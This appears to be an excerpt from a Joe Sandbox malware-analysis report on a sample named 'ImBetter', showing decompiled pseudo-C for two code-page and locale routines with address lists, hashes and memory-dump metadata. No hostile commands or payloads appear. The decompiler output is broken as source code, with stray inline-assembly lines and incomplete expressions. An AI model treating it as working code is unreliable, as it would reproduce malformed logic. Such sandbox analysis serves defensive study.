				_t264 = _t43;
				 *((intOrPtr*)(_t300 + 0x30)) = 0;
				r9d = 0x100;
				 *((intOrPtr*)(_t300 + 0x28)) =  *_t326;
				 *((long long*)(_t300 + 0x60)) = _t264;
				 *((long long*)(_t300 + 0x20)) = _t264;
				if (E00007FF77FF7E6B34EA8(_t199, E00007FF77FF7E6B39AF0(0, 0, _t194 + _t199, _t199, E00007FF77FF7E6B39AF0(0, 0, _t194 + _t199, _t199, _t260[2], _t239, __rbx, _t26,  *((intOrPtr*)(__rcx + 0x138)), __rsi,  *((intOrPtr*)(__rcx + 0x138)), _t28, _t310), _t239, _t252, _t35,  *((intOrPtr*)(__rcx + 0x138)), _t294,  *((intOrPtr*)(__rcx + 0x138)), _t37, _t310), _t252, _t264, __rcx, _t294, _t316) == 0) goto 0xe6b33bfb;
				_t48 = _t319 + 0xfe; // 0xfe
				_t240 = _t48;
				 *_t240 = 0;
				 *((char*)(_t323 + 0x7f)) = 0;
				 *((char*)(_t297 + 0x7f)) = 0;
				 *((char*)(_t323 + 0x80)) = 0;
				 *((char*)(_t297 + 0x80)) = 0;
				 *((long long*)(_t300 + 0x68)) = _t240;
				if ( *(_t300 + 0x50) - _t199 <= 0) goto 0xe6b339ac;
				if ( *_t326 != 0xfde9) goto 0xe6b33958;
				_t55 = _t297 + 0x100; // 0x100
				_t304 = _t55;
				_t56 = _t319 + 0x200; // 0x200
				r11d = 0x8000;
				_t187 =  >  ? 0 : r11d;
				 *_t56 =  >  ? 0 : r11d;
				 *((char*)(_t323 - _t297 + _t304)) = 0x20;
				 *_t304 = 0x80;
				if (0x80 + _t199 - 0xff <= 0) goto 0xe6b3392a;
				goto 0xe6b339ac;
				_t289 = _t300 + 0x86;
				if ( *((intOrPtr*)(_t300 + 0x86)) == 0) goto 0xe6b339ac;
				r11d = 0x8000;
				if (_t289[1] == 0) goto 0xe6b339ac;
				_t188 =  *_t289 & 0x000000ff;
				if (_t188 - (_t289[1] & 0x000000ff) > 0) goto 0xe6b339a4;
				_t241 = _t188;
				 *((intOrPtr*)(_t319 + 0x100 + _t241 * 2)) = r11w;
				 *(_t241 + _t323 + 0x80) = _t188;
				 *(_t241 + _t297 + 0x80) = _t188;
				if (_t188 + _t199 - (_t289[1] & 0x000000ff) <= 0) goto 0xe6b3397f;
				if (_t289[2] != 0) goto 0xe6b3396f;
				_t72 = _t319 + 0x200; // 0x200
				asm("movups xmm0, [ecx]");
				asm("movups xmm1, [ecx+0x10]");
				_t266 = _t72 + 0x80;
				asm("inc ecx");
				asm("inc ecx");
				asm("movups xmm0, [ecx-0x60]");
				asm("movups xmm1, [ecx-0x50]");
				asm("inc ecx");
				asm("inc ecx");
				asm("movups xmm0, [ecx-0x40]");
				asm("movups xmm1, [ecx-0x30]");
				asm("inc ecx");
				asm("inc ecx");
				asm("movups xmm0, [ecx-0x20]");
				asm("movups xmm1, [ecx-0x10]");
				asm("inc ecx");
				_t320 = _t319 - 0xffffff80;
				asm("movups xmm0, [ecx]");
				asm("inc ecx");
				asm("movups xmm1, [ecx+0x10]");
				asm("inc ecx");
				asm("movups xmm0, [ecx+0x20]");
				asm("inc ecx");
				asm("movups xmm1, [ecx+0x30]");
				asm("inc ecx");
				asm("movups xmm0, [ecx+0x40]");
				asm("inc ecx");
				asm("movups xmm1, [ecx+0x50]");
				asm("inc ecx");
				asm("movups xmm0, [ecx+0x60]");
				asm("inc ecx");
				asm("inc ecx");
				 *((long long*)(_t320 + 0x70)) =  *((intOrPtr*)(_t266 + 0x70));
				 *((intOrPtr*)(_t320 + 0x78)) =  *((intOrPtr*)(_t266 + 0x78));
				 *((short*)(_t320 + 0x7c)) =  *(_t266 + 0x7c) & 0x0000ffff;
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("repne inc ecx");
				asm("inc ecx");
				asm("repne inc ecx");
				 *((intOrPtr*)(_t323 + 0x78)) =  *((intOrPtr*)(_t323 + 0x178));
				 *((short*)(_t323 + 0x7c)) =  *(_t323 + 0x17c) & 0x0000ffff;
				 *((char*)(_t323 + 0x7e)) =  *((intOrPtr*)(_t323 + 0x17e));
				asm("movups xmm0, [ebp+0x100]");
				asm("movups xmm1, [ebp+0x110]");
				asm("movups [ebp], xmm0");
				asm("movups xmm0, [ebp+0x120]");
				asm("movups [ebp+0x10], xmm1");
				asm("movups xmm1, [ebp+0x130]");
				asm("movups [ebp+0x20], xmm0");
				asm("movups xmm0, [ebp+0x140]");
				asm("movups [ebp+0x30], xmm1");
				asm("movups xmm1, [ebp+0x150]");
				asm("movups [ebp+0x40], xmm0");
				asm("movups xmm0, [ebp+0x160]");
				asm("movups [ebp+0x50], xmm1");
				asm("movsd xmm1, [ebp+0x170]");
				asm("movups [ebp+0x60], xmm0");
				asm("movsd [ebp+0x70], xmm1");
				 *((intOrPtr*)(_t297 + 0x78)) =  *((intOrPtr*)(_t297 + 0x178));
				 *((short*)(_t297 + 0x7c)) =  *(_t297 + 0x17c) & 0x0000ffff;
				_t155 =  *((intOrPtr*)(_t297 + 0x17e));
				 *(_t297 + 0x7e) = _t155;
				if ( *((intOrPtr*)(__rcx + 0x100)) == 0) goto 0xe6b33bb4;
				asm("lock xadd [ecx], eax");
				if ((_t155 | 0xffffffff) != _t199) goto 0xe6b33bb4;
				E00007FF77FF7E6B29D04( *((intOrPtr*)(_t266 + 0x70)),  *((intOrPtr*)(__rcx + 0x108)) - 0xfe);
				E00007FF77FF7E6B29D04( *((intOrPtr*)(_t266 + 0x70)),  *((intOrPtr*)(__rcx + 0x110)) + 0xffffff80);
				E00007FF77FF7E6B29D04( *((intOrPtr*)(_t266 + 0x70)),  *((intOrPtr*)(__rcx + 0x118)) + 0xffffff80);
				E00007FF77FF7E6B29D04( *((intOrPtr*)(_t266 + 0x70)),  *((intOrPtr*)(__rcx + 0x100)));
				_t243 =  *(_t300 + 0x58);
				 *_t243 = _t199;
				 *((long long*)(__rcx + 0x100)) = _t243;
				 *((long long*)(__rcx)) =  *((intOrPtr*)(_t300 + 0x60));
				 *((long long*)(__rcx + 0x108)) =  *((intOrPtr*)(_t300 + 0x68));
				_t102 = _t323 + 0x80; // 0x80
				 *((long long*)(__rcx + 0x110)) = _t102;
				_t104 = _t297 + 0x80; // 0x80
				 *((long long*)(__rcx + 0x118)) = _t104;
				 *(__rcx + 8) =  *(_t300 + 0x50);
				goto 0xe6b33c1f;
				E00007FF77FF7E6B29D04(_t104,  *(_t300 + 0x58));
				E00007FF77FF7E6B29D04(_t104, _t320);
				E00007FF77FF7E6B29D04(_t104, _t323);
				E00007FF77FF7E6B29D04(_t104, _t297);
				_t279 = _t316;
				E00007FF77FF7E6B29D04(_t104, _t279);
				goto 0xe6b33c78;
				if ( *((intOrPtr*)(_t279 + 0x100)) == 0) goto 0xe6b33c3a;
				asm("lock dec dword [eax]");
				 *((long long*)(_t279 + 0x100)) = _t252;
				 *_t279 = 0xe6b50d30;
				 *((long long*)(_t279 + 0x108)) = _t252;
				 *((long long*)(_t279 + 0x110)) = 0xe6b50fb0;
				 *((long long*)(_t279 + 0x118)) = 0xe6b51130;
				 *((intOrPtr*)(_t279 + 8)) = 1;
				return E00007FF77FF7E6B3C7F0(0, _t188 + _t199,  *(_t300 + 0x98) ^ _t300);
			}

0x7ff7e6b33648
0x7ff7e6b33648
0x7ff7e6b33648
0x7ff7e6b33648
0x7ff7e6b3364b
0x7ff7e6b3364f
0x7ff7e6b33653
0x7ff7e6b33660
0x7ff7e6b33667
0x7ff7e6b3366e
0x7ff7e6b33671
0x7ff7e6b33682
0x7ff7e6b33689
0x7ff7e6b3368d
0x7ff7e6b33690
0x7ff7e6b33695
0x7ff7e6b3369b
0x7ff7e6b336a1
0x7ff7e6b336a5
0x7ff7e6b336aa
0x7ff7e6b336aa
0x7ff7e6b336b0
0x7ff7e6b336b4
0x7ff7e6b336b9
0x7ff7e6b336ca
0x7ff7e6b336d5
0x7ff7e6b336d8
0x7ff7e6b336df
0x7ff7e6b336f5
0x7ff7e6b336fc
0x7ff7e6b33709
0x7ff7e6b33710
0x7ff7e6b3371d
0x7ff7e6b33724
0x7ff7e6b33734
0x7ff7e6b3373b
0x7ff7e6b3373e
0x7ff7e6b33748
0x7ff7e6b33751
0x7ff7e6b3375a
0x7ff7e6b33763
0x7ff7e6b3376c
0x7ff7e6b33777
0x7ff7e6b33783
0x7ff7e6b33798
0x7ff7e6b337a6
0x7ff7e6b337ac
0x7ff7e6b337b4
0x7ff7e6b337ba
0x7ff7e6b337c3
0x7ff7e6b337cd
0x7ff7e6b337d5
0x7ff7e6b337da
0x7ff7e6b337dc
0x7ff7e6b337eb
0x7ff7e6b337f0
0x7ff7e6b337f2
0x7ff7e6b337fb
0x7ff7e6b337fd
0x7ff7e6b33802
0x7ff7e6b3380d
0x7ff7e6b33815
0x7ff7e6b3381a
0x7ff7e6b33828
0x7ff7e6b3382d
0x7ff7e6b33831
0x7ff7e6b3383a
0x7ff7e6b3383e
0x7ff7e6b33845
0x7ff7e6b33849
0x7ff7e6b33849
0x7ff7e6b33854
0x7ff7e6b3385d
0x7ff7e6b3386b
0x7ff7e6b33870
0x7ff7e6b33874
0x7ff7e6b3387a
0x7ff7e6b33883
0x7ff7e6b33887
0x7ff7e6b3388e
0x7ff7e6b33899
0x7ff7e6b338a2
0x7ff7e6b338a2
0x7ff7e6b338a9
0x7ff7e6b338ad
0x7ff7e6b338b3
0x7ff7e6b338ba
0x7ff7e6b338c1
0x7ff7e6b338cf
0x7ff7e6b338d5
0x7ff7e6b338d5
0x7ff7e6b338dc
0x7ff7e6b338df
0x7ff7e6b338e3
0x7ff7e6b338e6
0x7ff7e6b338ed
0x7ff7e6b338f3
0x7ff7e6b338fc
0x7ff7e6b33909
0x7ff7e6b3390e
0x7ff7e6b3390e
0x7ff7e6b33918
0x7ff7e6b33924
0x7ff7e6b33936
0x7ff7e6b3393a
0x7ff7e6b33942
0x7ff7e6b33946
0x7ff7e6b33954
0x7ff7e6b33956
0x7ff7e6b33958
0x7ff7e6b33967
0x7ff7e6b33969
0x7ff7e6b33972
0x7ff7e6b33974
0x7ff7e6b3397d
0x7ff7e6b3397f
0x7ff7e6b33982
0x7ff7e6b3398b
0x7ff7e6b33993
0x7ff7e6b339a2
0x7ff7e6b339aa
0x7ff7e6b339ac
0x7ff7e6b339b3
0x7ff7e6b339b6
0x7ff7e6b339ba
0x7ff7e6b339c1
0x7ff7e6b339ca
0x7ff7e6b339cf
0x7ff7e6b339d3
0x7ff7e6b339d7
0x7ff7e6b339dc
0x7ff7e6b339e1
0x7ff7e6b339e5
0x7ff7e6b339e9
0x7ff7e6b339ee
0x7ff7e6b339f3
0x7ff7e6b339f7
0x7ff7e6b339fb
0x7ff7e6b33a00
0x7ff7e6b33a04
0x7ff7e6b33a07
0x7ff7e6b33a0c
0x7ff7e6b33a10
0x7ff7e6b33a15
0x7ff7e6b33a19
0x7ff7e6b33a1e
0x7ff7e6b33a22
0x7ff7e6b33a27
0x7ff7e6b33a2b
0x7ff7e6b33a30
0x7ff7e6b33a34
0x7ff7e6b33a39
0x7ff7e6b33a3d
0x7ff7e6b33a42
0x7ff7e6b33a47
0x7ff7e6b33a4e
0x7ff7e6b33a56
0x7ff7e6b33a62
0x7ff7e6b33a6a
0x7ff7e6b33a72
0x7ff7e6b33a76
0x7ff7e6b33a7e
0x7ff7e6b33a83
0x7ff7e6b33a8b
0x7ff7e6b33a90
0x7ff7e6b33a98
0x7ff7e6b33a9d
0x7ff7e6b33aa5
0x7ff7e6b33aaa
0x7ff7e6b33ab2
0x7ff7e6b33ab7
0x7ff7e6b33ac0
0x7ff7e6b33ac5
0x7ff7e6b33acb
0x7ff7e6b33ad7
0x7ff7e6b33ae3
0x7ff7e6b33ae7
0x7ff7e6b33af4
0x7ff7e6b33afb
0x7ff7e6b33aff
0x7ff7e6b33b06
0x7ff7e6b33b0a
0x7ff7e6b33b11
0x7ff7e6b33b15
0x7ff7e6b33b1c
0x7ff7e6b33b20
0x7ff7e6b33b27
0x7ff7e6b33b2b
0x7ff7e6b33b32
0x7ff7e6b33b36
0x7ff7e6b33b3e
0x7ff7e6b33b42
0x7ff7e6b33b47
0x7ff7e6b33b51
0x7ff7e6b33b55
0x7ff7e6b33b5b
0x7ff7e6b33b68
0x7ff7e6b33b6d
0x7ff7e6b33b73
0x7ff7e6b33b83
0x7ff7e6b33b93
0x7ff7e6b33ba3
0x7ff7e6b33baf
0x7ff7e6b33bb4
0x7ff7e6b33bb9
0x7ff7e6b33bbb
0x7ff7e6b33bc7
0x7ff7e6b33bcf
0x7ff7e6b33bd6
0x7ff7e6b33bdd
0x7ff7e6b33be4
0x7ff7e6b33beb
0x7ff7e6b33bf6
0x7ff7e6b33bf9
0x7ff7e6b33c00
0x7ff7e6b33c08
0x7ff7e6b33c10
0x7ff7e6b33c18
0x7ff7e6b33c1f
0x7ff7e6b33c22
0x7ff7e6b33c29
0x7ff7e6b33c35
0x7ff7e6b33c37
0x7ff7e6b33c41
0x7ff7e6b33c48
0x7ff7e6b33c57
0x7ff7e6b33c5e
0x7ff7e6b33c6c
0x7ff7e6b33c75
0x7ff7e6b33ca8

APIs

GetCPInfo.KERNEL32 ref: 00007FF7E6B33790

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 539e50fb06d8e8d42d3848fbf2943240fe77b7ee82f0a8758299fccd75631c5d
Instruction ID: 6ec4b2cc0764169403814e9de813608bf14cc2c14953e5f0fa7ddf286630e184
Opcode Fuzzy Hash: 539e50fb06d8e8d42d3848fbf2943240fe77b7ee82f0a8758299fccd75631c5d
Instruction Fuzzy Hash: BA12C332A18BC586E751DF2898457FEB3A4FB68748F559236EB8C47652EF78E184C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B33DB8 Relevance: 1.8, APIs: 1, Instructions: 335
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E00007FF77FF7E6B33DB8(intOrPtr* __rax, long long __rbx, long long __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r9, long long _a8, long long _a16, long long _a24) {
				void* _v40;
				signed int _v48;
				char _v56;
				long long _v72;
				void* _t114;
				void* _t120;
				signed int _t152;
				char _t182;
				char _t183;
				long long _t213;
				intOrPtr* _t224;
				intOrPtr* _t242;
				char* _t296;
				char* _t297;
				char* _t329;
				void* _t331;
				void* _t332;
				long long _t334;
				void* _t335;
				intOrPtr* _t336;
				long long _t338;
				signed long long _t339;
				long long _t340;

				_t331 = __r9;
				_t224 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				r15d = 0;
				_v56 = __rcx;
				_v48 = _v48 & _t339;
				if ( *((intOrPtr*)(__rcx + 0x140)) != _t339) goto 0xe6b33e06;
				if ( *((intOrPtr*)(__rcx + 0x148)) != _t339) goto 0xe6b33e06;
				r12d = 0;
				goto 0xe6b34276;
				r13d = 1;
				E00007FF77FF7E6B2C9C0(_t114, __rcx, __rdx);
				_t338 = _t224;
				E00007FF77FF7E6B29D04(_t224, __rcx);
				if (_t338 != 0) goto 0xe6b33e30;
				goto 0xe6b342cc;
				E00007FF77FF7E6B2C9C0(r13d, _t335, __rdx);
				_t334 = _t224;
				E00007FF77FF7E6B29D04(_t224, _t335);
				if (_t334 != 0) goto 0xe6b33e58;
				_t120 = E00007FF77FF7E6B29D04(_t224, _t338);
				goto 0xe6b33e28;
				if ( *((intOrPtr*)(__rcx + 0x140)) == _t339) goto 0xe6b341b3;
				E00007FF77FF7E6B2C9C0(_t120, _t335, __rbx);
				_t340 = _t224;
				E00007FF77FF7E6B29D04(_t224, _t335);
				_t213 = _t340;
				if (_t213 != 0) goto 0xe6b33e8c;
				E00007FF77FF7E6B29D04(_t224, _t338);
				goto 0xe6b33e51;
				_t299 =  *((intOrPtr*)(__rcx + 0x140));
				_t11 = _t338 + 0x18; // 0x18
				_v72 = _t11;
				r9d = 0x15;
				_t13 =  &_v56; // -15
				E00007FF77FF7E6B39E1C(0, r13d, _t13,  *((intOrPtr*)(__rcx + 0x140)), _t332);
				_t14 = _t338 + 0x20; // 0x20
				r9d = 0x14;
				_v72 = _t14;
				_t16 =  &_v56; // -15
				E00007FF77FF7E6B39E1C(0, r13d, _t16,  *((intOrPtr*)(__rcx + 0x140)), _t332);
				_t17 = _t338 + 0x28; // 0x28
				r9d = 0x16;
				_v72 = _t17;
				_t19 =  &_v56; // -15
				E00007FF77FF7E6B39E1C(0, r13d, _t19,  *((intOrPtr*)(__rcx + 0x140)), _t332);
				_t20 =  &_v56; // -15
				_t21 = _t338 + 0x30; // 0x30
				r9d = 0x17;
				_v72 = _t21;
				E00007FF77FF7E6B39E1C(0, r13d, _t20, _t299, _t332);
				r9d = 0x18;
				_t23 = _t338 + 0x38; // 0x38
				_t336 = _t23;
				_v72 = _t336;
				_t25 =  &_v56; // -15
				E00007FF77FF7E6B39E1C(0, _t331 - 0x17, _t25, _t299, _t332);
				r9d = 0x50;
				_t27 =  &_v56; // -15
				_t28 = _t338 + 0x40; // 0x40
				_v72 = _t28;
				E00007FF77FF7E6B39E1C(0, _t331 - 0x4f, _t27, _t299, _t332);
				r9d = 0x51;
				_t31 =  &_v56; // -15
				_t32 = _t338 + 0x48; // 0x48
				_v72 = _t32;
				E00007FF77FF7E6B39E1C(0, _t331 - 0x50, _t31, _t299, _t332);
				_t35 =  &_v56; // -15
				_t36 = _t338 + 0x50; // 0x50
				r9d = 0x1a;
				_v72 = _t36;
				E00007FF77FF7E6B39E1C(0, 0, _t35, _t299, _t332);
				_t38 =  &_v56; // -15
				_t39 = _t338 + 0x51; // 0x51
				r9d = 0x19;
				_v72 = _t39;
				E00007FF77FF7E6B39E1C(0, 0, _t38, _t299, _t332);
				_t41 =  &_v56; // -15
				_t42 = _t338 + 0x52; // 0x52
				r9d = 0x54;
				_v72 = _t42;
				E00007FF77FF7E6B39E1C(0, 0, _t41, _t299, _t332);
				_t44 = _t338 + 0x53; // 0x53
				r9d = 0x55;
				_v72 = _t44;
				_t46 =  &_v56; // -15
				E00007FF77FF7E6B39E1C(0, 0, _t46, _t299, _t332);
				_t47 =  &_v56; // -15
				_t48 = _t338 + 0x54; // 0x54
				r9d = 0x56;
				_v72 = _t48;
				E00007FF77FF7E6B39E1C(0, 0, _t47, _t299, _t332);
				_t50 =  &_v56; // -15
				_t51 = _t338 + 0x55; // 0x55
				r9d = 0x57;
				_v72 = _t51;
				E00007FF77FF7E6B39E1C(0, 0, _t50, _t299, _t332);
				_t53 =  &_v56; // -15
				_t54 = _t338 + 0x56; // 0x56
				r9d = 0x52;
				_v72 = _t54;
				E00007FF77FF7E6B39E1C(0, 0, _t53, _t299, _t332);
				_t56 =  &_v56; // -15
				_t57 = _t338 + 0x57; // 0x57
				r9d = 0x53;
				_v72 = _t57;
				E00007FF77FF7E6B39E1C(0, 0, _t56, _t299, _t332);
				r9d = 0x15;
				_t59 =  &_v56; // -15
				_t60 = _t338 + 0x68; // 0x68
				_v72 = _t60;
				E00007FF77FF7E6B39E1C(0, _t331 - 0x13, _t59, _t299, _t332);
				r9d = 0x14;
				_t63 =  &_v56; // -15
				_t64 = _t338 + 0x70; // 0x70
				_v72 = _t64;
				E00007FF77FF7E6B39E1C(0, _t331 - 0x12, _t63, _t299, _t332);
				r9d = 0x16;
				_t67 =  &_v56; // -15
				_t68 = _t338 + 0x78; // 0x78
				_v72 = _t68;
				E00007FF77FF7E6B39E1C(0, _t331 - 0x14, _t67, _t299, _t332);
				r9d = 0x17;
				_t71 =  &_v56; // -15
				_t72 = _t338 + 0x80; // 0x80
				_v72 = _t72;
				E00007FF77FF7E6B39E1C(0, _t331 - 0x15, _t71, _t299, _t332);
				r9d = 0x50;
				_t75 =  &_v56; // -15
				_t76 = _t338 + 0x88; // 0x88
				_v72 = _t76;
				E00007FF77FF7E6B39E1C(0, _t331 - 0x4e, _t75, _t299, _t332);
				_t79 = _t338 + 0x90; // 0x90
				_t242 = _t79;
				r9d = 0x51;
				_v72 = _t242;
				_t81 =  &_v56; // -15
				E00007FF77FF7E6B39E1C(0, _t331 - 0x4f, _t81, _t299, _t332);
				if (_t213 == 0) goto 0xe6b34169;
				E00007FF77FF7E6B33CAC(_t338);
				E00007FF77FF7E6B29D04(_t242, _t338);
				E00007FF77FF7E6B29D04(_t242, _t334);
				E00007FF77FF7E6B29D04(_t242, _t340);
				goto 0xe6b342cc;
				_t296 =  *_t336;
				if ( *_t296 == 0) goto 0xe6b3421b;
				_t83 = _t242 - 0x30; // -48
				_t182 = _t83;
				if (_t182 - 9 > 0) goto 0xe6b34195;
				 *_t296 = _t182;
				r13d = 1;
				_t297 = _t296 + _t336;
				_t152 =  *_t297;
				if (_t152 != 0) goto 0xe6b34177;
				goto 0xe6b34221;
				if (_t152 != 0x3b) goto 0xe6b34181;
				_t329 = _t297;
				_t183 =  *((intOrPtr*)(_t329 + 1));
				 *_t329 = _t183;
				if (_t183 != 0) goto 0xe6b3419c;
				r13d = 1;
				goto 0xe6b3418a;
				asm("movups xmm0, [eax]");
				asm("inc ecx");
				asm("movups xmm1, [eax+0x10]");
				asm("inc ecx");
				asm("movups xmm0, [eax+0x20]");
				asm("inc ecx");
				asm("movups xmm1, [eax+0x30]");
				asm("inc ecx");
				asm("movups xmm0, [eax+0x40]");
				asm("inc ecx");
				asm("movups xmm1, [eax+0x50]");
				asm("inc ecx");
				asm("movups xmm0, [eax+0x60]");
				asm("inc ecx");
				asm("movups xmm0, [eax+0x70]");
				asm("inc ecx");
				asm("movups xmm1, [eax+edx]");
				asm("inc ecx");
				 *((long long*)(_t338 + _t297 + 0x10)) =  *((intOrPtr*)(0xe6b6b110 + _t297 + 0x10));
				goto 0xe6b34221;
				r13d = 1;
				 *_t338 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xf8))));
				 *((long long*)(_t338 + 8)) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xf8)) + 8));
				 *((long long*)(_t338 + 0x10)) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xf8)) + 0x10));
				 *((long long*)(_t338 + 0x58)) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xf8)) + 0x58));
				 *((long long*)(_t338 + 0x60)) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xf8)) + 0x60));
				 *_t334 = r13d;
				if (_t340 == 0) goto 0xe6b34276;
				 *_t340 = r13d;
				if ( *((intOrPtr*)(__rcx + 0xf0)) == 0) goto 0xe6b34285;
				asm("lock dec dword [eax]");
				if ( *((intOrPtr*)(__rcx + 0xe0)) == 0) goto 0xe6b342b5;
				asm("lock xadd [ecx], eax");
				if ((_t152 | 0xffffffff) != 1) goto 0xe6b342b5;
				E00007FF77FF7E6B29D04( *((intOrPtr*)(__rcx + 0xf0)),  *((intOrPtr*)(__rcx + 0xf8)));
				E00007FF77FF7E6B29D04( *((intOrPtr*)(__rcx + 0xf0)),  *((intOrPtr*)(__rcx + 0xe0)));
				 *((long long*)(__rcx + 0xf0)) = _t340;
				 *((long long*)(__rcx + 0xe0)) = _t334;
				 *((long long*)(__rcx + 0xf8)) = _t338;
				return 0;
			}

0x7ff7e6b33db8
0x7ff7e6b33db8
0x7ff7e6b33db8
0x7ff7e6b33dbd
0x7ff7e6b33dc2
0x7ff7e6b33dd7
0x7ff7e6b33dda
0x7ff7e6b33dde
0x7ff7e6b33dec
0x7ff7e6b33df5
0x7ff7e6b33df7
0x7ff7e6b33e01
0x7ff7e6b33e06
0x7ff7e6b33e14
0x7ff7e6b33e1b
0x7ff7e6b33e1e
0x7ff7e6b33e26
0x7ff7e6b33e2b
0x7ff7e6b33e3a
0x7ff7e6b33e41
0x7ff7e6b33e44
0x7ff7e6b33e4c
0x7ff7e6b33e51
0x7ff7e6b33e56
0x7ff7e6b33e5f
0x7ff7e6b33e6b
0x7ff7e6b33e72
0x7ff7e6b33e75
0x7ff7e6b33e7a
0x7ff7e6b33e7d
0x7ff7e6b33e82
0x7ff7e6b33e8a
0x7ff7e6b33e8c
0x7ff7e6b33e93
0x7ff7e6b33e9a
0x7ff7e6b33e9f
0x7ff7e6b33ea5
0x7ff7e6b33eac
0x7ff7e6b33eb1
0x7ff7e6b33eb5
0x7ff7e6b33ebb
0x7ff7e6b33ec3
0x7ff7e6b33ecc
0x7ff7e6b33ed1
0x7ff7e6b33ed5
0x7ff7e6b33edb
0x7ff7e6b33ee3
0x7ff7e6b33eec
0x7ff7e6b33ef3
0x7ff7e6b33ef7
0x7ff7e6b33efb
0x7ff7e6b33f04
0x7ff7e6b33f0c
0x7ff7e6b33f11
0x7ff7e6b33f17
0x7ff7e6b33f17
0x7ff7e6b33f1e
0x7ff7e6b33f23
0x7ff7e6b33f2d
0x7ff7e6b33f32
0x7ff7e6b33f38
0x7ff7e6b33f41
0x7ff7e6b33f45
0x7ff7e6b33f4e
0x7ff7e6b33f53
0x7ff7e6b33f59
0x7ff7e6b33f62
0x7ff7e6b33f66
0x7ff7e6b33f6f
0x7ff7e6b33f76
0x7ff7e6b33f7a
0x7ff7e6b33f7e
0x7ff7e6b33f87
0x7ff7e6b33f8e
0x7ff7e6b33f95
0x7ff7e6b33f99
0x7ff7e6b33f9d
0x7ff7e6b33fa6
0x7ff7e6b33fad
0x7ff7e6b33fb4
0x7ff7e6b33fb8
0x7ff7e6b33fbc
0x7ff7e6b33fc5
0x7ff7e6b33fcc
0x7ff7e6b33fd3
0x7ff7e6b33fd7
0x7ff7e6b33fe0
0x7ff7e6b33fe7
0x7ff7e6b33feb
0x7ff7e6b33ff2
0x7ff7e6b33ff6
0x7ff7e6b33ffa
0x7ff7e6b34003
0x7ff7e6b3400a
0x7ff7e6b34011
0x7ff7e6b34015
0x7ff7e6b34019
0x7ff7e6b34022
0x7ff7e6b34029
0x7ff7e6b34030
0x7ff7e6b34034
0x7ff7e6b34038
0x7ff7e6b34041
0x7ff7e6b34048
0x7ff7e6b3404f
0x7ff7e6b34053
0x7ff7e6b34057
0x7ff7e6b34060
0x7ff7e6b34067
0x7ff7e6b3406c
0x7ff7e6b34072
0x7ff7e6b3407b
0x7ff7e6b3407f
0x7ff7e6b34088
0x7ff7e6b3408d
0x7ff7e6b34093
0x7ff7e6b3409c
0x7ff7e6b340a0
0x7ff7e6b340a9
0x7ff7e6b340ae
0x7ff7e6b340b4
0x7ff7e6b340bd
0x7ff7e6b340c1
0x7ff7e6b340ca
0x7ff7e6b340cf
0x7ff7e6b340d5
0x7ff7e6b340de
0x7ff7e6b340e5
0x7ff7e6b340ee
0x7ff7e6b340f3
0x7ff7e6b340f9
0x7ff7e6b34102
0x7ff7e6b34109
0x7ff7e6b34112
0x7ff7e6b34119
0x7ff7e6b34119
0x7ff7e6b34120
0x7ff7e6b34126
0x7ff7e6b3412e
0x7ff7e6b34136
0x7ff7e6b3413d
0x7ff7e6b34142
0x7ff7e6b3414a
0x7ff7e6b34152
0x7ff7e6b3415a
0x7ff7e6b34164
0x7ff7e6b34169
0x7ff7e6b34171
0x7ff7e6b34177
0x7ff7e6b34177
0x7ff7e6b3417d
0x7ff7e6b3417f
0x7ff7e6b34181
0x7ff7e6b34187
0x7ff7e6b3418a
0x7ff7e6b3418e
0x7ff7e6b34190
0x7ff7e6b34197
0x7ff7e6b34199
0x7ff7e6b3419c
0x7ff7e6b341a0
0x7ff7e6b341a9
0x7ff7e6b341ab
0x7ff7e6b341b1
0x7ff7e6b341bf
0x7ff7e6b341c2
0x7ff7e6b341c6
0x7ff7e6b341ca
0x7ff7e6b341cf
0x7ff7e6b341d3
0x7ff7e6b341d8
0x7ff7e6b341dc
0x7ff7e6b341e1
0x7ff7e6b341e5
0x7ff7e6b341ea
0x7ff7e6b341ee
0x7ff7e6b341f3
0x7ff7e6b341f7
0x7ff7e6b341fc
0x7ff7e6b34200
0x7ff7e6b34206
0x7ff7e6b3420a
0x7ff7e6b34214
0x7ff7e6b34219
0x7ff7e6b3421b
0x7ff7e6b3422b
0x7ff7e6b34239
0x7ff7e6b34248
0x7ff7e6b34257
0x7ff7e6b34266
0x7ff7e6b3426a
0x7ff7e6b34271
0x7ff7e6b34273
0x7ff7e6b34280
0x7ff7e6b34282
0x7ff7e6b3428f
0x7ff7e6b34294
0x7ff7e6b3429b
0x7ff7e6b342a4
0x7ff7e6b342b0
0x7ff7e6b342b5
0x7ff7e6b342be
0x7ff7e6b342c5
0x7ff7e6b342e9

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
